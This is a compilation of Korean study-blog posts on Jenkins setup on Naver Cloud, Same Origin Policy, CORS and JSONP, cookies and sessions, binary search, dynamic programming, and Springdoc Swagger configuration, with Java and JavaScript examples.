• jenkins 이미지를 pull 받는다.

Naver Cloud Platform의 Console 에 들어가 Platform 부분의 Classic 과 VPC 중 선택한다. (VPC가 더 비싸고 성능이 좋음) 나는 Classic을 선택하고 Server 에 들어갔다.

젠킨스 접속

http://[IP 주소]:8081

접속 안됨

사이트에 연결할 수 없음이 뜬다.

알고 보니 NCP 서버에서 젠킨스를 사용하는 포트 (8081)이 막혀있었던 것이다.

ACG 설정에 들어가서 8081 포트를 추가해주었더니 정상적으로 접속이 된다.

젠킨스 초기 비번 확인 후 로그인

docker exec jenkins_1 cat /var/jenkins_home/secrets/initialAdminPassword

젠킨스 플러그인 설치

추천되는 플러그인을 설치하는 것이 권장된다.

젠킨스 사용자 생성

Username: 

Password: 

Confirm password: 

Full name: 

E-mail address: 

본인의 이메일 주소

이제 젠킨스를 시작할 수 있는 단계에 왔다!

dreamhack 에서 CS 기본 지식을 공부하게 되었다.

Same Origin Policy(SOP)란?

우리가 브라우저 요청을 보낼 때 해당 웹 서비스에서 사용하는 인증 정보인 쿠키를 HTTP 요청에 포함시켜 전달한다. 또한, 웹 리소스를 통해 간접적으로 타 사이트에 접근할 때도 인증 정보인 쿠키를 함께 전송하기도 한다. 이 특징 때문에 악의적인 이용자가 이 쿠키를 가로채어 이용자 권한을 이용해 서버에 HTTP 요청을 보내고, HTTP 응답 정보를 획득하는 코드를 실행할 수 있다. 이와 같은 문제를 방지하기 위해 데이터를 악의적인 페이지에서 읽 수 없도록 하는 ** 동일 출처 정책, **SOP 보안메커니즘이 탄생했다.

Same Origin Policy의 오리진(Origin) 구분 방법

구성 요소가 모두 일치해야 올바른 오리진이라고 한다.

• 구성 요소 : 프로토콜(Protocol, Scheme), 포트(Port), 호스트(Host)

  예시 (https://same-origin.com/라는 오리진과 아래 URL을 비교했을 때 결과)

SOP은 Cross Origin이 아닌 Same Origin일 때만 정보를 읽을 수 있도록 한다.

Same Origin Policy 실습

개발자 도구 F12를 누르고 콘솔 창에서 한 줄씩 직접 코드를 입력해보면서 실습해보자.

Same Origin

1. sameNewWindow = window.open('https://dreamhack.io/lecture');
2. console.log(sameNewWindow.location.href);
3. 결과: https://dreamhack.io/lecture

Cross Origin

1. crossNewWindow = window.open('https://theori.io');
2. console.log(crossNewWindow.location.href);
3. 결과: Origin 오류 발생

Cross Origin 데이터 읽기/쓰기

외부 출처에서 불러온 데이터를 읽으려고 할 때는 오류가 발생하지만, 데이터를 쓰는 것은 문제 없이 동작한다. 즉, 아래와 같은 코드는 오류가 발생하지 않는다.

1.crossNewWindow = window.open('https://theori.io');
2.crossNewWindow.location.href = "https://dreamhack.io";

SOP 데모

예시)

1. <!-- iframe 객체 생성 -->
2. <iframe src="" id="my-frame"></iframe>
3. 
4. <!-- Javascript 시작 -->
5. <script>
6. /* 2번째 줄의 iframe 객체를 myFrame 변수에 가져옵니다. */
7. let myFrame = document.getElementById('my-frame')
8. 
9.  /* iframe 객체에 주소가 로드되는 경우 아래와 같은 코드를 실행합니다. */
10. myFrame.onload = () => {
11.    /* try ... catch 는 에러를 처리하는 로직 입니다. */
12.     try {
13.        /* 로드가 완료되면, secret-element 객체의 내용을 콘솔에 출력합니다. */
14.        let secretValue = myFrame.contentWindow.document.getElementById('secret-element').innerText;
15.         console.log({ secretValue });
16.    } catch(error) {
17.        /* 오류 발생시 콘솔에 오류 로그를 출력합니다. */
18.        console.log({ error });
19.    }
20.}
21./* iframe객체에 Same Origin, Cross Origin 주소를 로드하는 함수 입니다. */
22. const loadSameOrigin = () => { myFrame.src = 'https://same-origin.com/frame.html'; }
23. const loadCrossOrigin = () => { myFrame.src = 'https://cross-origin.com/frame.html'; }
24. </script>
25.
26. <!--
27. 버튼 2개 생성 (Same Origin 버튼, Cross Origin 버튼)
28. -->
29. <button onclick=loadSameOrigin()>Same Origin</button><br>
30. <button onclick=loadCrossOrigin()>Cross Origin</button>
31.
32. <!--
33. frame.html의 코드가 아래와 같습니다.
34. secret-element라는 id를 가진 div 객체 안에 treasure라고 하는 비밀 값을 넣어두었습니다.
35. -->
36. <div id="secret-element">treasure</div>

출처 : https://learn.dreamhack.io/186#7

• 코드 동작 설명

1. iframe은 현재 웹 페이지 안에 또 다른 하나의 웹 페이지를 삽입하는 HTML태그. src 요소를 설정함으로써 삽입할 웹 페이지의 주소가 결정됨.
2. 10번째 줄은 객체가 성공적으로 로드되었을 때 동작하는 이벤트 핸들러다.
3. 14~15번째 줄은 로드가 완료되면 iframe내에 삽입된 주소에서 secret-element 객체의 값인 treasure를 읽어와 콘솔에 출력한다.

실습

Same Origin 클릭

Cross Origin 클릭

Cross Origin Resource Sharing(CORS)

SOP 제한 완화

SOP이 클라이언트 사이드 웹 보안에서 중요한 역할을 하지만, 브라우저가 SOP에 구애 받지 않고 외부 출처를 막지 못하는 경우가 있다. 예를 들어, 이미지, 자바스크립트 ,CSS등의 리소스를 불러오는 img, style ,script등의 태그는 SOP의 영향을 받지 않는다. 그리고** 웹 서비스에서 동일 출처 정책인 SOP를 완화하여 다른 출처의 데이터를 처리 해야 하는 경우도 있다.** 예를 들어,

• https://cafe.example.com
• https://blog.example.com
• https://mail.example.com 이와 같이 각 서비스의 host의 경우가 다르기 때문에 브라우저는 오리진이 다르다고 인식 할 수 있다. 이러한 문제를 해결하기 위해 SOP을 적용받지 않고 리소스를 공유 할 수 있는 방법을 교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)라고 한다. 교차 출처의 자원을 공유하는 방법은 CORS와 관련된 HTTP 헤더를 추가하여 전송하는 방법을 사용한다. 이 외에도 JSON with Padding(JSONP)방법을 통해 CORS를 대체할 수 있다.

CORS

교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)는 HTTP헤더에 기반하여 Cross Origin 간에 리소스를 공유하는 방법이다. 수신측의 정해진 규칙에 따라 발신측에서 CORS 헤더를 설정해 요청하면, 데이터를 가져갈 수 있도록 설정한다.

웹 리소스 요청 코드

/*
    XMLHttpRequest 객체를 생성합니다. 
    XMLHttpRequest는 웹 브라우저와 웹 서버 간에 데이터 전송을
    도와주는 객체 입니다. 이를 통해 HTTP 요청을 보낼 수 있습니다.
*/
xhr = new XMLHttpRequest();
/* https://theori.io/whoami 페이지에 POST 요청을 보내도록 합니다. */
xhr.open('POST', 'https://theori.io/whoami');
/* HTTP 요청을 보낼 때, 쿠키 정보도 함께 사용하도록 해줍니다. */
xhr.withCredentials = true;
/* HTTP Body를 JSON 형태로 보낼 것이라고 수신측에 알려줍니다. */
xhr.setRequestHeader('Content-Type', 'application/json');
/* xhr 객체를 통해 HTTP 요청을 실행합니다. */
xhr.send("{'data':'WhoAmI'}");

발신측의 HTTP 요청

OPTIONS /whoami HTTP/1.1
Host: theori.io
Connection: keep-alive
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: https://dreamhack.io
Accept: */*
Referer: https://dreamhack.io/

발신측에서 POST 방식으로 HTTP 요청을 보냈지만, OPTIONS 메소드를 가진 HTTP가 전달이 된 후, 수신 측에 웹 리소스를 요청해도 되는 질의하는 과정을 거친다. 이를 CORS preflight이라고 한다. 발신측의 HTTP 요청에서 "Access-Control-Request"로 시작하는 헤더를 살펴보면 헤더 뒤에 따라오는 Method와 Headers는 각각 메소드와 헤더를 추가적으로 사용할 수 있는지 질의한다.

위처럼 질의하면 서버는 다음과 같이 응답한다.

서버의 응답

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://dreamhack.io
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type

위 과정을 마친 후, 브라우저는 수신측의 응답과 발신측의 요청이 상응하는지 확인하고, 서버에 POST 요청을 보내 수신측의 웹 리소스를 요청하는 HTTP 요청을 보낸다.

JSON with Padding(JSONP)

위에서는, 이미지나 자바스크립트, CSS 등의 리소스는 SOP에 구애 받지 않고 외부 출처에 대해 접근을 허용한다고 했다. JSONP 방식은 이러한 특징을 이용해 script 태그로 Cross Origin의 데이터를 불러온다. 하지만 script 태그 내에서는 데이터를 자바스크립트의 코드로 인식하기 때문에 Callback 함수를 활용해야 한다. Cross Origin에 요청할 때 callback 파라미터에 어떤 함수로 받아오는 데이터를 핸들링할지 넘겨주면, 대상 서버는 전달된 Callback으로 데이터를 감싸 응답한다.

예시

• 웹 리소스 요청 코드 ```javascript

  <!-- https://theori.io의 스크립트를 로드하는 HTML 코드입니다. 단, callback이라는 이름의 파라미터를 myCallback으로 지정함으로써 수신측에게 myCallback 함수를 사용해 수신받겠다고 알립니다.

• ->

  ``` 마지막 줄에서 Cross Origin의 데이터를 불러온다. 이 때 callback 파라미터로 myCallback을 함께 전달한다. Cross Origin 에서는 응답할 데이터를 myCallback 함수의 인자로 전달될 수 있도록 myCallback으로 감싸 Javascript 코드를 반환해준다. 반환된 코드는 요청측에서 실행되기 때문에 myCallback 함수가 전달된 데이터를 읽을 수 있다. 다만, JSONP는 CORS가 생기기 전에 사용하던 방법으로 현재는 거의 사용하지 않는 추세이다.

• 웹 리소스 요청에 따른 응답코드 ```javascript /* 수신측은 myCallback 이라는 함수를 통해 요청측에 데이터를 전달합니다. 전달할 데이터는 현재 theori.io에서 클라이언트가 사용 중인 계정 정보인 {'id': 'dreamhack'} 입니다.

• / myCallback({'id':'dreamhack'}); ```

  예시2

• 서버가 반환한 JSON 데이터

  {
  "name": "John",
  "age": 30,
  "city": "New York"
  }

• JSONP로 사용하기 위해 콜백 함수로 래핑한 후의 서버의 응답

  myCallback({
  "name": "John",
  "age": 30,
  "city": "New York"
  });

  서버에서 반환된 JSONP응답은 스크립트 태그를 사용하여 웹 페이지에 동적으로 로드된다. 로드된 JSONP 응답은 웹페이지에서 "myCallback"이라는 콜백 함수를 호출하며, 그 결과로 JSON데이터를 사용할 수 있게 된다.

정리

1. 문제

숫자 카드는 정수 하나가 적혀져 있는 카드이다. 상근이는 숫자 카드 N개를 가지고 있다. 정수 M개가 주어졌을 때, 이 수가 적혀있는 숫자 카드를 상근이가 몇 개 가지고 있는지 구하는 프로그램을 작성하시오.

2. 입력

첫째 줄에 상근이가 가지고 있는 숫자 카드의 개수 N(1 ≤ N ≤ 500,000)이 주어진다. 둘째 줄에는 숫자 카드에 적혀있는 정수가 주어진다. 숫자 카드에 적혀있는 수는 -10,000,000보다 크거나 같고, 10,000,000보다 작거나 같다.

셋째 줄에는 M(1 ≤ M ≤ 500,000)이 주어진다. 넷째 줄에는 상근이가 몇 개 가지고 있는 숫자 카드인지 구해야 할 M개의 정수가 주어지며, 이 수는 공백으로 구분되어져 있다. 이 수도 -10,000,000보다 크거나 같고, 10,000,000보다 작거나 같다.

3. 출력

첫째 줄에 입력으로 주어진 M개의 수에 대해서, 각 수가 적힌 숫자 카드를 상근이가 몇 개 가지고 있는지를 공백으로 구분해 출력한다.

문제 풀이

배열에서 target보다 크거나 같은 값의 첫번째 원소의 인덱스(lowerBound) 와 특정 target보다 큰 첫번째 원소의 인덱스(upperBound)를 구하여 upperBound() - lowerBound()를 하면 해결된다.

import java.util.Arrays;
import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.io.IOException;
import java.util.StringTokenizer;

public class Main {

    public static void main(String[] args) throws IOException {
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

        int N = Integer.parseInt(br.readLine());
        int[] arr = new int[N];

        StringTokenizer st = new StringTokenizer(br.readLine());
        for(int i = 0; i < N; i++) {
            arr[i] = Integer.parseInt(st.nextToken());
        }
        Arrays.sort(arr);    // 이분 탐색을 하기 위해서 정렬.

        int M = Integer.parseInt(br.readLine());
        StringBuilder sb = new StringBuilder();

        st = new StringTokenizer(br.readLine());
        for(int i = 0; i < M; i++) {
            int target = Integer.parseInt(st.nextToken());
            sb.append(upperBound(arr, target) - lowerBound(arr, target)).append(' ');
        }
        System.out.println(sb);
    }
    private static int lowerBound(int[] arr, int target) {
        int start = 0;
        int end = arr.length;
        while (start < end) {
            int mid = (start + end) / 2;
            if (target <= arr[mid]) {
                end = mid;
            }
            else {
                start = mid + 1;
            }
        }
        return end;
    }
    private static int upperBound(int[] arr, int target) {
        int start = 0;
        int end = arr.length;
        while (start < end) {
            int mid = (start + end) / 2;
            if (target >= arr[mid]) {
                start = mid+1;
            }
            else {
                end = mid;
            }
        }
        return end;
    }
}

이분 탐색을 이용하여 어떤 리스트(배열)에서 특정 값을 찾을 때, 중복되는 값을 가지고 있을 수 있다. 그 중복값이 몇 개가 있는지 찾는 문제를 해결하기 위해 upper_bound 와 lower_bound가 존재한다.

lower_bound

: 범위(start, end) 안의 원소들 중, 특정 target 보다 크거나 같은 첫번째 원소의 인덱스를 리턴한다. 만약 그런 원소가 없다면 end 인덱스를 리턴한다.

private static int lowerBound(int[] arr, int target) {
    int start = 0;
    int end = arr.length;

    while(start < end) {
        int mid = (start + end) / 2;

        if(arr[mid] >= target) {
            end = mid;
        }
        else {
            start = mid + 1;
        }
    }
    return end;
}

upper_bound

범위 (start, end) 안의 원소들 중, 특정 target보다 큰 첫번째 원소의 인덱스를 리턴한다. 만약 그런 원소가 없다면 end 인덱스를 리턴한다.

private static int upperBound(int[] arr, int target) {
    int start = 0;
    int end = arr.length;

    while(start < end) {
        int mid = (start + end) / 2;

        if(arr[mid] <= target) {
            start = mid + 1;
        }
        else {
            end = mid;
        }
    }
    return end;
}

정리

이분탐색을 하기 위해서는 배열이 정렬된 상태여야 if문 조건에 만족할 수 있다. upperbound에서 target 보다 큰 인덱스 값을 설정하는 이유는 upperBound() - lowerBound()를 활용해 중복값의 개수를 찾기 때문이다.

레퍼런스

Java로 upper_bound와 lower_bound 구현하기 - junhok82

서론

현대의 웹 서비스는 HTTP 프로토콜을 사용해 통신한다. 사용자가 정보를 제공함에 따라 웹 서버는 상황에 맞는 페이지를 제공해야 한다. 회원 사용자면 회원의 페이지를, 관리자라면 관리자 페이지를 따로 식별할 수 있도록 해야 한다. 웹 서버는 HTTP 프로토콜로 통신하여 받아오는 URL, 헤더(Header) 등 에서 헤더(Header)에 담겨 있는 데이터를 이용해 구별을 한다. 이 데이터는 클라이언트의 정보와 요청의 내용을 구체화하고 있고, 클라이언트의 인증 정보 또한 포함되어 있다. 클라이언트의 인증 정보를 포함하고 있는 것이 바로 Cokkie와 Session이다.

쿠키란?

HTTP 프로토콜은 클라이언트의 정보 보호를 위해 Connectionless와 Stateless 특징을 가지고 있다. 두 특징의 설명은 다음과 같다.

• Connectionless: 하나의 요청에 하나의 응답을 한 후 연결을 종료한다. 특정 요청에 대한 연결이 이루어진 이후 새로운 요청과는 이어지지 않고 항상 새로운 연결을 맺는다.
• Statelss: 통신이 끝난 후 상태 정보를 저장하지 않는 것을 의미한다. 이전 연결에서 사용한 데이터를 다른 연결에서 요구할 수 없다.

• 쿠키의 용도
  • 일반적으로 클라이언트의 정보 기록과 상태 정보를 표현
  • 정보 기록 : 클라이언트가 웹 서버에서 팝업 옵션을 선택한 것을 기억하기 위해 쿠키에 해당 정보를 기록하고, 쿠키를 통해 팝업 창 표시 여부를 판단한다. 하지만 쿠키는 서버와 통신할 때마다 전송되는 문제로 인해 리소스 낭비가 있을 수 있다. 최근에는 이 단점을 보완하기 위해 Modern Storage APIs를 통해 데이터를 저장하는 방식을 권장한다.
  • 상태 정보 : 사용자가 등록한 정보에 따라 웹 서버가 제공할 수 있는 서비스가 있다. 이때 클라이언트를 식별할 수 있는 값을 쿠키에 저장해 사용한다.

• 쿠키 유무에 따른 통신

  • 쿠키가 없는 통신

  • 서버는 요청을 보낸 클라이언트의 정보가 없기에 어떤 클라이언트와 통신하는지 알 수가 없다.*

  • 쿠키가 있는 통신

  • 쿠키가 있다면, 클라이언트는 서버에 요청을 보낼 때마다 쿠키를 포함하고, 서버는 해당 쿠키를 통해 클라이언트를 식별한다.*

하지만,,!! 쿠키는 악의적인 클라이언트에 의해 변조되어 서버에 요청하고 타 이용자를 사칭해 정보를 탈취할 수 있다.. 이를 세션 하이재킹(Session Hijacking)이라고 한다.

그럼 어떻게 해야하지?

세션

클라이언트가 쿠키에 담긴 인증 상태를 변조할 수 없게 하기 위해 사용하는 방법이 세션(Session)이다. 세션은 인증 정보를 서버에 저장하고 해당 데이터에 접근할 수 있는 키(유추할 수 없는 랜덤한 문자열)를 만들어 클라이언트에 전달하는 방식으로 작동한다. 해당 키를 일반적으로 Session ID라고 한다. 브라우저는 해당 키를 쿠키에 저장하고 이후에 HTTP 요청을 보낼 때 사용한다. 서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인한다. 단계적으로 본다면 다음과 같다.

1. 클라이언트가 서버에 요청을 보낼 때 서버는 클라이언트에게 고유한 세션 식별자(Session ID)를 부여한다. 이 세션 식별자는 일반적으로 쿠키를 사용하여 클라이언트에게 전달된다.
2. 클라이언트는 서버로부터 받은 세션 식별자를 쿠키를 통해 저장하고, 이후의 모든 요청에 해당 쿠키를 함께 전송한다. 이를 통해 서버는 클라이언트를 식별하고, 해당 세션에 대한 데이터를 유지할 수 있다.
3. 서버는 받은 세션 식별자를 사용하여 클라이언트의 세션 데이터를 서버에 저장한다. 세션 데이터는 서버 측에 저장되기 때문에 클라이언트는 직접 접근할 수 없다.
4. 클라이언트는 필요한 작업을 수행하며, 서버는 세션 데이터를 사용하여 클라이언트의 상태를 유지하거나 변경합니다.
5. 클라이언트가 세션을 종료하거나 세션이 만료될 경우, 서버는 해당 세션 데이터를 삭제한다. 일반적으로 세션은 일정 시간 동안 유효하며, 만료 시간이 지나면 클라이언트는 새로운 세션 식별자를 발급받아야 한다.

쿠키와의 핵심적인 차이

1. 저장위치

쿠키는 데이터 자체를 이용자가 저장, 세션은 서버가 저장

2. 데이터 보존 기간

세션은 사용자가 웹 사이트를 방문하는 동안에만 유지되고, 쿠키는 설정된 만료 날짜 또는 사용자가 수동으로 삭제하기 전까지는 유효

3. 용량 제한

세션은 서버 메모리나 데이터베이스에 저장되므로, 보통 더 많은 데이터를 저장할 수 있음. 반면에, 쿠키는 클라이언트 측에 저장되어 용량이 제한되어 있고, 하나의 도메인 당 쿠키의 개수와 총 크기에 제한이 있을 수 있음.

4. 데이터 전송

세션은 데이터가 서버에 저장되기 때문에, 데이터가 클라이언트와 서버 사이에서 전송되지 않은 반면에, 쿠키는 클라이언트와 서버 사이에서 데이터를 주고받을 때 사용됨.

요약하면, 세션은 서버에 저장되고 데이터 보존 기간이 세션 동안에만 유지되며, 보안성이 높다. 반면에, 쿠키는 클라이언트에 저장되고 데이터 보존 기간이 설정된 만료 날짜까지 유지되며, 용량이 제한되고 상대적으로 보안성이 낮을 수 있다.

크롬에서 쿠키 확인하기

• 크롬 Console

  • 개발자도구(F12)에 들어가서 Console탭을 누른다. document.cookie를 입력하면 쿠키 정보를 확인할 수 있다.

• 크롬 Application

  • Application 탭을 누른다. 좌측에 나열된 목록에서 Cookie를 펼치면 Origin 목록을 확인할 수 있다. Origin을 누르면 설정 된 쿠키 정보를 확인/수정할 수 있다.

스프링부트 + 타임리프
스프링부트 + JSP
스프링부트 + mustache

MPA: 멀티 페이지 어플리케이션
SPA: 백엔드(SB) / 프론트 (리액트)
SPA: 백엔드(SB) / 프론트 (안드로이드 or IOS) 

⇒ 프론트가 따로 있는 곳에서는 세션이 안 먹는다

따라서

API KEY : ID/PW
API KEY : 의미없는 고유 키
API KEY : JWT 토큰  ⇒ 공개 되어도 상관 없는 키 
(의미 + 키 ) 가 있기 때문에 변조가 되어도 키가 있으면 가능하다. 사용자가 키를 모르는 이상은 바꿀 수 없다. 
을 사용

정렬되어 있는 데이터에서 원하는 값을 찾아내는 알고리즘. 주어진 데이터의 중앙값과 찾고자 하는 값을 비교해 데이터의 크기를 절반씩 줄이면서 대상을 찾는 방법.

** * 특징**

• 시간 복잡도: O(logN)
• 중앙값 비교를 통한 대상 축소 방식
• 정렬 데이터에서 원하는 데이터를 탐색하는 일반적인 알고리즘
• 대규모 데이터를 다루는 경우에 유용

핵심 이론

오름차순으로 정렬된 데이터에서 다음 4가지 과정을 반복한다.

1. 현재 데이터셋의 중앙값(median)을 선택한다.
2. 중앙값 > 타깃 데이터(taget data)일 때 중앙값 기준으로 왼쪽 데이터셋을 선택한다.
3. 중앙값 < 타깃 데이터일 때 주앙값 기준으로 오른쪽 데이터셋을 선택한다.
4. 과정 1~3을 반복하다가 중앙값 == 타깃 데이터일 때 탐색을 종료한다.

예시)

• 다음과 같은 정렬된 배열이 있다고 가정해보자.
• 우리가 찾는 값이 11이라고 가정해보자.

  1 3 5 7 9 11 13 15 17 19

1. 중간 인덱스(left + right) / 2를 선택합니다. -> 중간 인덱스는 (0 + 9) / 2 = 4
2. 중간 값인 9와 찾고자 하는 값인 11이 일치하지 않으므로 탐색 범위를 다시 좁힌다.
3. 찾고자 하는 값이 중간값보다 크므로, 중간값의 오른쪽 부분 배열에서 탐색을 시작한다. -> 중간 인덱스 + 1부터 right까지(인덱스 5 ~ 9) 탐색.
4. 중간 인덱스를 다시 선택 -> (5 + 9) / 2 = 7
5. 위 과정을 반복하여서 11을 찾는다.

알고리즘 구현 방식

1. 재귀

// 매개변수로 배열 arr, 찾고자 하는 값 target, 배열의 왼쪽 끝을 가리키는 left, 배열의 오른쪽 끝을 가리키는 right를 전달받는다.

public static int binarySearchRecursive(int[] arr, int target, int left, int right) {
    if (left > right) {
        return -1;
    }
    // 현재 검색 범위의 중간값을 구하고, 이 값이 찾고자 하는 값인지 확인
    int mid = (left + right) / 2;

    if (arr[mid] == target) {
        return mid;
    } else if (arr[mid] > target) { // 만약 찾고자 하는 값이 중간값보다 작다면, 중간값의 왼쪽 부분 배열에서 재귀적으로 탐색
        return binarySearchRecursive(arr, target, left, mid - 1);
    } else { // 찾고자 하는 값이 중간값보다 크다면, 중간값의 오른쪽 부분 배열에서 재귀적으로 탐색
        return binarySearchRecursive(arr, target, mid + 1, right);
    }
}

• 재귀 함수를 사용한 방법은 코드가 간결하지만, 재귀 호출로 인해 스택 메모리를 많이 사용할 수 있다. 반면에 while문을 사용한 방법은 스택 메모리를 덜 사용하며, 구현이 복잡하지 않다.

  2. while문

  public static int binarySearch(int[] arr, int target) {
    int left = 0;
    int right = arr.length - 1;
  
    while (left <= right) {
    //현재 검색 범위의 중간값을 구하고, 
        int mid = (left + right) / 2;
        //이 값이 찾고자 하는 값인지 확인
        if (arr[mid] == target) {
            return mid;
        } else if (arr[mid] > target) { // 찾고자 하는 값이 중간값보다 작다면, 중간값의 왼쪽 부분 배열에서 탐색을 수행해야 하므로 right 포인터를 중간값의 왼쪽으로 이동
            right = mid - 1;
        } else { // 고자 하는 값이 중간값보다 크다면, 중간값의 오른쪽 부분 배열에서 탐색을 수행해야 하므로 left 포인터를 중간값의 오른쪽으로 이동
            left = mid + 1;
        }
    }
  
    return -1;
  }

레퍼런스

• 알고리즘 코딩테스트 자바편 - 김종관 지음

웹브라우저란?

웹 브라우저(Web Browser)는 사용자가 웹 페이지를 볼 수 있도록 이용자 친화적인 인터페이스를 제공하면서 다양한 기능을 제공하는 소프트웨어다. 웹 브라우저는 사용자에게 웹 사이트 주소를 전달받아 해당 웹 사이트의 서버로부터 데이터를 응답받아 사용자에게 시각화해준다.

사용자는 웹 브라우저를 사용하면서 어떠한 동작이 내부에서 일어나고 있는지 알지 못한다. 사용자가 주소창에 인터넷 주소를 입력을 했을 때 웹 브라우저가 웹 페이지를 보여주는 과정은 크게 세 가지 단계로 나눌 수 있다.

1. DNS 조회

   • 주소창에 입력된 주소를 해석하고 (URL 분석) DNS(Domain Name System) 서버에게 주소에 해당하는 주소를 IP주소로 변환해 달라는 요청을 보낸다. DNS 서버는 이 요청에 대해 해당 도메인 이름의 IP 주소를 찾아서 웹 브라우저에게 반환해준다.

2. 서버 연결 및 데이터 전송

   • 웹 브라우저가 위의 과정으로 알아낸 IP주소에 있는 서버와 연결을 맺은 후, 웹 브라우저는 HTTP(HyperText Transfer Protocol) 요청을 이용하여 서버로부터 웹 페이지에 필요한 데이터를 요청한다. 서버는 이 요청에 HTML, CSS, JavaScript 등의 데이터를 반환해 준다.

3. 웹 페이지 렌더링

   • 웹 브라우저는 서버로부터 받은 데이터를 이용하여 웹 페이지를 렌더링한다. 이 과정에서 HTML, CSS, JavaScript 등의 웹 기술을 해석하고, 사용자에게 보여줄 웹 페이지를 구성한다. 웹 페이지가 완성되면, 사용자가 해당 웹 페이지와 상호작용할 수 있게 된다.

URL

URL 은 Uniform Resource Locator의 약자로, 웹에 있는 리소스의 위치를 표현하는 문자열이다. 브라우저로 특정 웹 리소스에 접근할 때 URL을 이용해 서버에게 요청한다.

URL의 구성은 Scheme, Authority(Userinfo, Host, Port), Path, Query, Fragment 등으로 구성된다.

Domain Name

웹 브라우저가 접속할 웹 서버의 주소를 Domain Name이라하고, URL 구성 요소 중 Host가 된다. 이용자는 복잡한 IP Address의 형태가 아닌 도메인의 특성을 담은 주소를 입력하여 IP대신 사용한다.

Domain Name을 입력하면, 브라우저는 Domain Name Server(DNS)에 전달하여 DNS가 찾은 IP Address를 사용한다.

Linux에서 Domain Name에 대한 정보를 nslookup 명령어를 사용해 확인할 수 있다.

$ nslooup example.com
Server: 8.8.8.8
Address: 8.8.8.8#53

Non--authoritative answer:
Name: example.com
Address: 93.184.216.34

레퍼런스

https://learn.dreamhack.io/171

• 복잡한 문제를 여러 개의 간단한 문제로 분리하여 문제의 답을 구하는 방법

  원리와 구현 방식

  1. 동적 계획법으로 풀 수 있는지 확인하기

  큰 문제를 작은 문제로 나눌 수 있어야 한다. 작은 문제들이 반복해서 사용되고 결과값은 항상 같아야 한다.

  2. 점화식 세우기

  논리적으로 전체 문제를 나누고, 전체 문제와 부분 문제 간의 인과 관계를 파악해야 한다.

  3. 메모이제이션 원리 이해하기

  모든 작은 문제들은 한 번만 계산해 DP 테이블에 저장해서 추후 문제를 풀 때 재사용한다. 톱-다운 방식과 바텀-업 방식으로 구현할 수 있다.

📝 문제 예시

피보나치 수열 공식 D[N] = D[N-1]+D[N-2] // N번째 수열 = N - 1번째 수열 + N - 2번째 수열

DP 구현 방식1 - 톱-다운 방식 이해하기

• 말 그대로 위에서부터 문제를 파악해 내려오는 방식으로, 재귀 함수 형태로 구현

  public class P2747_TopDown{
  static int[] D;
  public static void main(String[] args) {
  Scanner sc = new Scanner(System.in);
  int n = sc.nextInt();
  D = new int[n+1];
  for (int i =0; i<=n; i++) {
    D[i] = -1;
  }
  D[0] = 0;
  D[1] = 1;
  fibo(n);
  System.out.println(D[n]);
  }
  >
  statin int fibo(int n) {
  if (D[n] != -1)
    return D[n];
  return D[n] = fibo(n-2) + fibo(n-1);
  }
  }
  
  
  
  

DP 구현 방식2 - 바텀-업 구현 방식 이해하기

• 가장 작은 부분문제부터 문제를 해결 후 큰 문제를 푸는 방식이고 주로 반복문 형태이다.

public class P2747_TopDown{
   static int[] D;
   public static void main(String[] args) {
    Scanner sc = new Scanner(System.in);
    int n = sc.nextInt();
    D = new int[n+1];
    for (int i =0; i<=n; i++) {
      D[i] = -1;
    }
    D[0] = 0;
    D[1] = 1;
    for (int i =2; i<=n; i++) {
     D[i] = D[i-1] + D[i-2];
    }
    System.out.println(D[n]);
   }
 }

문제 예시 2 - 정수를 1로 만들기 (백준 온라인 저지 1463번)

📝 문제 설명

정수 X에 사용할 수 있는 연산은 다음 3가지다.

1. X가 3으로 나누어떨어지면 3으로 나눈다.

2. X가 2로 나누어떨어지면 2로 나눈다.

3. 1을 뺀다.

   정수 N이 주어졌을 때 위와 같은 연산 3개를 적절히 사용해 1을 만들려고 한다. 연산을 사용하는 횟수의 최솟값을 출력하시오.

   🖊️ 입력

   1번째 줄에 1보다 크거나 같고, 106보다 작거나 같은 정수 N이 주어진다.

   출력

   1번째 출에 연산을 하는 횟수의 최솟값을 출력한다.

   입력	출력
   10	3
   2	1

   문제 풀이

   점화식 구하기

   D[i] = D[i-1] +1 // 1을 빼는 연산이 가능할 때 if( i% 2 == 0) D[i] = min(D[i], D[i/2] +1) // 2로 나누는 연산이 가능할 때 if ( i% 3 ==0) D[i] = min(D[i], D[i/3] +1) //3으로 나누는 연산이 가능할 때

public class P1463_1로만들기 {
 static int N;
 static int D[];
 public static void main(String[] args) throws Exception {
  Scanner sc = new Scanner(System.in);
  N= sc.nextInt();
  D = new int[N+1];
  D[1] = 0;
  for (int i =2; i <=N; i++) {
   D[i] = D[i-1] +1;
   if( i% 2 == 0) D[i] = min(D[i], D[i/2] +1);
   if ( i% 3 ==0) D[i] = min(D[i], D[i/3] +1);
  }
  System.out.println(D[N]);
 }
}

참고

• 알고리즘 코딩테스트 (자바편) - 김종관

맨 처음 시도

implementation 'io.springfox:springfox-boot-starter:3.0.0'

• Swagger 3.0.0 에서 부터 2.0과 달라진 점이 많았었는데, springfox-boot-starter:3.0.0 을 사용해도 된다는 점이 그 중 하나다.

dependencies { implementation 'io.springfox:springfox-boot-starter:3.0.0' }

• 또한 2.x 버전에서는 localhost:8080/swagger-ui.html로 접속해야했지만 3.x 버전부터는** localhost:8080/swagger-ui/index.html** 로 접속해야 정상적으로 페이지가 나온다.

-> 하지만 Spring boot 3.x 버전에서는 실패

• SwaggerConfig도 작성해보았지만 똑같이 Whitelabel Error가 뜬다.

springdoc-openapi-starter-webmvc-ui 사용

Spring boot 3.x 부터는 Springfox대신 Springdoc를 사용해야한다.

공식문서: https://springdoc.org

dependencies { implementation 'org.springdoc:springdoc-openapi-starter-webmvc-ui:2.0.2'
}

• Springdoc은 따로 SwaggerConfig를 넣지 않아도 된다.

localhost:8080/swagger-ui/index.html 접속 성공

공식 문서: https://springdoc.org/v2/